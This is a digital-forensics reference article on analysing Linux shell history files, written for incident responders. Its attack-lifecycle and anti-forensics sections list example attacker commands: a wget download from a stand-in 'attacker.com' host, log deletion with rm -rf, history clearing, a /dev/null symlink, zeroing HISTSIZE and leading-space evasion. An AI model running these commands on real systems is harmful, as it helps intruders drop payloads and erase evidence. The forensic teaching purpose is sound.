Artifact Analysis: Linux Shell History (.bash_history)

Note

Executive Summary: The shell history file is a hidden text artifact located within a user’s home directory that records executed terminal commands. On most Linux distributions, the default shell is Bash, utilizing the .bash_history file. For DFIR professionals, this artifact provides the most direct narrative of a threat actor’s post-compromise actions, detailing reconnaissance, malware dropping, lateral movement, and anti-forensic cleanup.

1. Technical Overview and Artifact Location

By default, Linux systems log interactive terminal commands to provide users with operational convenience (the ability to recall previous commands). In a post-mortem forensic context (e.g., analyzing a mounted disk image at /mnt/analysis/), these files are absolute goldmines.

The artifact is always located at the root of the user’s home directory:

• Root User: /root/.bash_history
• Standard Users: /home/<username>/.bash_history
• Service Accounts: Often located in specific application directories (e.g., /var/www/ for www-data).

2. The Buffer Mechanism (Critical Forensic Nuance)

Understanding how Bash writes to disk is crucial for accurate timeline reconstruction. Bash does not write to the .bash_history file in real-time.

1. Initialization: When a terminal session opens, Bash reads the existing .bash_history file and loads it into memory.
2. Session Activity: As the user executes commands, they are stored exclusively in an in-memory buffer.
3. Commit to Disk: The buffer is only appended to the physical .bash_history file on disk when the terminal session is gracefully closed (e.g., typing exit or logging out).

Danger

Forensic Implication: If a system crashes, if an attacker violently kills their shell (kill -9 $$), or if the forensic acquisition is performed on a live system with active SSH sessions, the most recent commands will be missing from the disk artifact. In such cases, analysts must extract the bash history directly from RAM using memory forensics techniques.

3. Investigating the Attack Lifecycle

When parsing .bash_history, DFIR analysts look for specific sequential patterns that map to the MITRE ATT&CK framework.

• Reconnaissance: Commands like whoami, id, uname -a, cat /etc/issue, netstat -antp, or ps aux to understand the environment.
• Payload Dropping: Downloading malicious tools via wget http://attacker.com/malware, curl -O, or git clone.
• Execution & Privilege Escalation: Modifying permissions (chmod +x malware), executing binaries (./malware), or unpacking archives (tar -xvf rootkit.tar).
• Anti-Forensics (Cleanup): Deleting logs (rm -rf /var/log/*), securely shredding files (shred config.php), or clearing the current session history (history -c).

4. Alternative Shells and Interactive Histories

Attackers often pivot to other interactive tools that maintain their own hidden history files. Investigators must thoroughly scan user directories for these alternative artifacts:

Alternative Shells

Zsh (.zsh_history): The default shell on macOS and Kali Linux. Often found on developer workstations.
Python (.python_history): Records interactive Python shell commands, often used by attackers to spawn reverse shells or manipulate local data.

Interactive Applications

Database Clients (.mysql_history, .psql_history): Can reveal SQL injection testing, data exfiltration queries, or clear-text passwords.
Text Editors (.viminfo, .nano_history): These artifacts document file modifications and can even contain search/replace strings used by the attacker to backdoor configuration files.

5. Anti-Forensic and Evasion Techniques

Because .bash_history is highly incriminating, it is usually the first artifact an attacker attempts to neutralize.

A. The “Void” Symlink

A common technique is deleting the history file and creating a symbolic link to /dev/null. Execution of ls -la /root/.bash_history will reveal .bash_history -> /dev/null. Consequently, no commands will ever be written to disk.

B. Environment Variable Manipulation

If the command export HISTFILESIZE=0 or export HISTSIZE=0 is injected into the .bashrc or .profile files, the system is instructed to retain zero lines of history.

C. The “Magic Space” Evasion

By default, many Linux distributions configure HISTCONTROL=ignorespace. This built-in feature dictates that if an attacker begins a command with a leading Space character (e.g., ./malware), the command bypasses the history buffer entirely. This is a severe limitation of the artifact.

6. DFIR Strategy and Correlation

To maximize the value of shell history, analysts must adopt a holistic approach.

1. Audit Service Accounts: Do not solely focus on the root user. If a web application is compromised, the history file of the www-data or jenkins user may contain the initial web shell commands or reverse shell executions.
2. Timestamp Analysis: By default, Bash does not record execution times. However, if the system administrator enabled the HISTTIMEFORMAT variable, the .bash_history file will contain Unix epoch timestamps (preceded by a #) before each command, which is invaluable for timeline generation.
3. Log Correlation: Cross-reference the shell history with Linux Authentication Logs (auth.log or secure). If an SSH login from a malicious IP occurs at 14:00 and disconnects at 14:10, the cluster of commands at the end of the .bash_history file likely corresponds to that specific session.

---

References & Further Reading

• SANS Institute: Linux Forensic Analysis
• Related Artifact:Linux Authentication Logs Analysis
• Related Artifact: Linux Text Editor Artifacts (.viminfo)